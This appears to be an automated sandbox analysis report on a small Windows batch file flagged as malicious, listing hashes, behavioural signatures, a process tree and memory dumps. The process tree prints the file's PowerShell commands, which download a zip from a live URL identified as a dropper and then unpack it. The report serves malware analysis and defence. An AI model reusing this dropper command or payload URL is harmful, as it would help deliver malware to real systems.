3113000f470106b98b5a3208266c79213a33567ca7841dd1cfe8ab84847c4eb8

Analysis

max time kernel
120s
max time network
123s
platform
windows7_x64
resource
win7-20231020-en
resource tags

arch:x64arch:x86image:win7-20231020-enlocale:en-usos:windows7-x64system
submitted
06-11-2023 23:24

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General

Target

tesy - Copy (10).bat
Size

706B
MD5

035f17438f6146d5ac7285b4adfeb370
SHA1

ef83c877367e96073e2b9b841d9c03ece6b1df7e
SHA256

02261a07ff83d906a835ac5229b25595239717e0091f2462804d0a31859bbdc0
SHA512

49455c7edd51537ba92e2db0941f571cd6ad89252702a19cf5910b390b182c16fc970ca62c26582b293ac5fc096e84538c5634472ab6e31bbd29242e8bb816cf

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
3	1728	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1728	powershell.exe
484	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1728	powershell.exe
Token: SeDebugPrivilege	484	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2516 wrote to memory of 1728	2516	cmd.exe	29
PID 2516 wrote to memory of 1728	2516	cmd.exe	29
PID 2516 wrote to memory of 1728	2516	cmd.exe	29
PID 2516 wrote to memory of 484	2516	cmd.exe	30
PID 2516 wrote to memory of 484	2516	cmd.exe	30
PID 2516 wrote to memory of 484	2516	cmd.exe	30

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (10).bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2516
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip', 'test1.zip')"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1728
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Expand-Archive -Path 'test1.zip' -DestinationPath '.'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:484

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
c7d2e53be7dd986c6106a353382e63a7

SHA1
6db85faafeba233949428fca8060fe24035a15fc

SHA256
dcd033491fb26913d4a8f9fbdf265e76e8d9ae67ab464749ad77e47de13abc20

SHA512
748cbf0ac4b0124a7f5627d27cdda1253e3c42d6aaeac2cea0da5872f0b82a528b96eade3fb10c9f93bc223cbb07c105abe2e987ae5e6ae79158643f7881d78c

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\VB7045QW6XQTM0G288Q5.temp

Filesize
7KB

MD5
c7d2e53be7dd986c6106a353382e63a7

SHA1
6db85faafeba233949428fca8060fe24035a15fc

SHA256
dcd033491fb26913d4a8f9fbdf265e76e8d9ae67ab464749ad77e47de13abc20

SHA512
748cbf0ac4b0124a7f5627d27cdda1253e3c42d6aaeac2cea0da5872f0b82a528b96eade3fb10c9f93bc223cbb07c105abe2e987ae5e6ae79158643f7881d78c

Download Submit
memory/484-23-0x00000000026F0000-0x0000000002770000-memory.dmp

Filesize
512KB

Download
memory/484-21-0x000007FEF5330000-0x000007FEF5CCD000-memory.dmp

Filesize
9.6MB

Download
memory/484-27-0x000007FEF5330000-0x000007FEF5CCD000-memory.dmp

Filesize
9.6MB

Download
memory/484-26-0x00000000026F0000-0x0000000002770000-memory.dmp

Filesize
512KB

Download
memory/484-24-0x00000000026F0000-0x0000000002770000-memory.dmp

Filesize
512KB

Download
memory/484-25-0x00000000026F0000-0x0000000002770000-memory.dmp

Filesize
512KB

Download
memory/484-22-0x000007FEF5330000-0x000007FEF5CCD000-memory.dmp

Filesize
9.6MB

Download
memory/484-19-0x000000001B260000-0x000000001B542000-memory.dmp

Filesize
2.9MB

Download
memory/484-20-0x0000000002390000-0x0000000002398000-memory.dmp

Filesize
32KB

Download
memory/1728-11-0x000007FEF5CD0000-0x000007FEF666D000-memory.dmp

Filesize
9.6MB

Download
memory/1728-5-0x0000000002420000-0x0000000002428000-memory.dmp

Filesize
32KB

Download
memory/1728-6-0x000007FEF5CD0000-0x000007FEF666D000-memory.dmp

Filesize
9.6MB

Download
memory/1728-13-0x000007FEF5CD0000-0x000007FEF666D000-memory.dmp

Filesize
9.6MB

Download
memory/1728-4-0x000000001B360000-0x000000001B642000-memory.dmp

Filesize
2.9MB

Download
memory/1728-7-0x0000000002430000-0x00000000024B0000-memory.dmp

Filesize
512KB

Download
memory/1728-9-0x0000000002430000-0x00000000024B0000-memory.dmp

Filesize
512KB

Download
memory/1728-10-0x0000000002430000-0x00000000024B0000-memory.dmp

Filesize
512KB

Download
memory/1728-8-0x0000000002430000-0x00000000024B0000-memory.dmp

Filesize
512KB

Download